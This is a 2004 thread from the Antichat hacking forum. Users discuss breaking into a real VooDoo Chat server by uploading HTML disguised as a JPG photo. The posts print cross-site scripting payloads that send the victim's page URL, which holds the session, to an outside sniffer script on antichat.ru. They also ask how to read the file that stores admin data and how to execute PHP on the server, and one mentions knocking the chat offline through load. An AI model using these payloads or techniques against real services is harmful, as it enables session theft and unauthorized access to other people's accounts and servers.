Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Чаты (https://forum.antichat.xyz/forumdisplay.php?f=10)
-   -   Есть воможность залить произвольный ХТМЛ (https://forum.antichat.xyz/showthread.php?t=3131)

NoOne 02.11.2004 21:16

Есть чат, есть возможность залить на сервер произвольную ХТМЛ страничку, соответственно будет рабоатть, например,
<script&gt;alert(document.location)&lt;/script&gt;
Брал любую страничку (например, yandex.ru) и заливал на сервер чата, эта страничка показывалась со всеми скриптами и т.д.

Если залить РНР, то видин листинг самого РНР, но выполнения нет.

Известна структура каталогов и какие файлы где лежат на сервере.

Как можно увидить листинг необходимого мне файла на сервере (путь и название известны)?
Вообще, что можно сделать в данном случае?
Перехват куки и реферов... скажем так, сессия самих пользователей мне не нужна, лучше получить доступ к файлу, где хранятся данные об админах...

Как можно выполнить РНР как бы не напрямую, а через ХТМЛ, или залить РНР в другую директорию, где разрешено выполнение РНР?

Сорри за глупые вопросы, я пока только учусь :)

NoOne 03.11.2004 01:22

Может кто-нить подскажет, что я неправильно делаю?

Загрузил я в анкету вместо фотки следующий код
&lt;html&gt;
&lt;head&gt;
......
&lt;/head&gt;
&lt;body&gt;
&lt;tr&gt;&lt;td&gt;&lt;img src=&quot;http://chat/photos/26.jpg&quot;&gt;&lt;img src=javascript:document.images[1].src=&quot;http://antichat.ru/cgi-bin/s.jpg?zz_...gt;&lt;/tr&gt;
&lt;/body&gt;
&lt;/html&gt;

Соответственно, при просмотре анкеты пользователя, на вместо фото ничего не показывается - стоит крестик, мол фото не загружено, но при прямом обращении к фото
http://chat/photos/113.jpg идет показ фото из другой анкеты 26.jpg, ну и исполняется ява-скрипт.

Но вот в поле снифера видно только следующее
REFERER=http://chat/photos/113.jpg
QUERY=zz_http://chat/photos/113.jpg
хотя саму ссылку я давал в окне чата... за обработку ссылок в чате отвечает РНР - http://chat/go.php?url=http://chat/photos/113.jpg

PS. opener.location у меня не работает.

Каким образом можно перехватить УРЛ, т.к. в нем как раз и содержится сессия?

Algol 03.11.2004 12:23

Если в папке запрещено выполнение пхп, то толку от заливки php нет.
Еще можно попробовать посмотреть файлы через иклудинги shtml (если сервер их поддреживает)

NoOne 03.11.2004 15:06

Да. смысла никакого, поэтому интересует вопрос, как можно залив сначала в одну директорию (где фото) перезалить в другую (где возможно выполнение РНР) при помощи ХТМЛ. Извиняюсь заранее за столь глупый вопрос, просто только учусь. Если я неправ, поправте меня или дайте ссылочку, где говорится в чем я неправ.

инклудинги SHTML по всей видимости не работают.. делаю следующее:
&lt;html&gt;
&lt;head&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;tr&gt;&lt;td&gt;
&lt;img src=&quot;http://chat/photos/26.big.jpg&quot;&gt;
<script src=&quot;http://antichat.ru/cgi-bin/s.jpg?zz_...ation.href&gt;
&lt;/script&gt;
<!--#echo var=&quot;LAST_MODIFIED&quot; -->
&lt;/td&gt;&lt;/tr&gt;
&lt;/body&gt;
&lt;/html&gt;

Никаких сообщений от сервера о времени последнего обновления странички нет.... только фото...

Интересует такой вопрос, в руководствах по Апачу пишется:
An alternative method of telling the server which files include SSI commands is to use the so-called XBitHack. This involves setting the execute bit on HTML files. Any file with a content type of text/html (i.e. an extension .html) and with the execute bit set will be checked for SSI commands.

Что это за Исполняемый Бит (execute bit) внутри ХТМЛ? И как его установить? Или я что-то не так понял?

И вот еще что - почему все же в поле Реферер стоит ссылка точно такая же, какую я даю в Чат, т.е. http://chat/photos/113.jpg, а не ссылка с информацией о том пользователе, который кликнул по моей ссылке?

Fr1k 03.11.2004 18:35

Понятно... вообщем работа идт с &quot;VooDoo Chat&quot;
Итак нащёт первого:
того что в поле снифера отображаетса REFERER=http://chat/photos/113.jpg
QUERY=zz_http://chat/photos/113.jpg
потому когда ты отсылаешь своё фото на сервер он скриптом обрабатывает его и сохраняет на сервере итого твой скрипт имеет ввид картинки в которой сохранен этот код </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><html>
<head>
......
</head>
<body>
<tr><td><img src="http://chat/photos/26.jpg"><img src=javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?zz_"+document.location.href></td></tr>
</body>
</html>
[/QUOTE]<span id='postcolor'>
естественно формат гпг никак его не выполняит, естественно он тебе покажет квадрат картинки, которой не сущесвует...
Ндааа только особо если не сложно объясни как тебе удалось залить туда ХТМЛ страницу и выполнить её... естетвенно если это вохможно то знаит возможно там всё...
ХМ

Fr1k 03.11.2004 18:36

Залить произвольный как ты сказал ХТМЛ вот особо что меня интересует, как помоему там такое было не возможно...

NoOne 03.11.2004 20:19

Как я говорил в самом первом своем послании, любой произвольный ХТМЛ код заливается под видом картинки.

Андрюш, ты же умный ))) ну сам догадайся ))) А хотя, ладно, я знаю, что у тя тоже есть заинтересованность проникнуть в этот чат ))) Токма просьба, не надо всяким Дельфи и прочим чудикам и дурачкам если что рассказывать... а то у них только деструктивные мысли появляются, а ведь наша цель не рушить, а просто исследовать.... Лично мне, надо Бота присоединить к этому чату, чтобы за нецензурщиной следил, а то ты сам знаешь, какие там админы, сами непрочь поматериться и на юзеров оторваться...

Берем ХТМЛ код, сохраняем в файл и делаем расширение JPG, заливаем в чат под видом большой картинки (огранчение на 300 000 байт, но и это можно снять :) ), затем смотрим прямую ссылку на якобы картинку, например, будет http://chat/photos/0/1113.big.jpg (сам можешь посмотреть по этой ссылке что будет и исходный код).... Вот и все ....

NoOne 03.11.2004 20:23

Кста, увалить чат достаточно легко, об этом есть пару веток обсуждений на самом форуме этого чата...

Чат плохо переносит &quot;нагрузку&quot;....
Это явно не chat.php.spb.ru по устойчивости к нагрузке....

Algol 03.11.2004 22:26

Я так понял, что заливка происходит в файл с расширением jpg? Тогда понятно, что SSI не исполняется, ведь для него должно быть расширение shtml.
Правда иногда SSI выполняется и в html, но это лишь при определнной настройке сервера (это и есть т.н. &quot;execute bit&quot;, т.е. установка, позворяющая считать html файлы исполняемыми скриптами)

NoOne 04.11.2004 01:17

Странно, тогда почему пишется, что &quot;execute bit&quot; должен быть в ХТМЛ-документе?

Any file with a content type of text/html (i.e. an extension .html) and with the execute bit set will be checked for SSI commands.

Где все таки его устанавливать? Да, пишут, что XBitHack должен быть прописан в конфигах самого Апача, но одновременно пишут, что любой файл с типом содержимого text/html и с execute bit будет проверяться Апачем на SSI команды....


Время: 22:07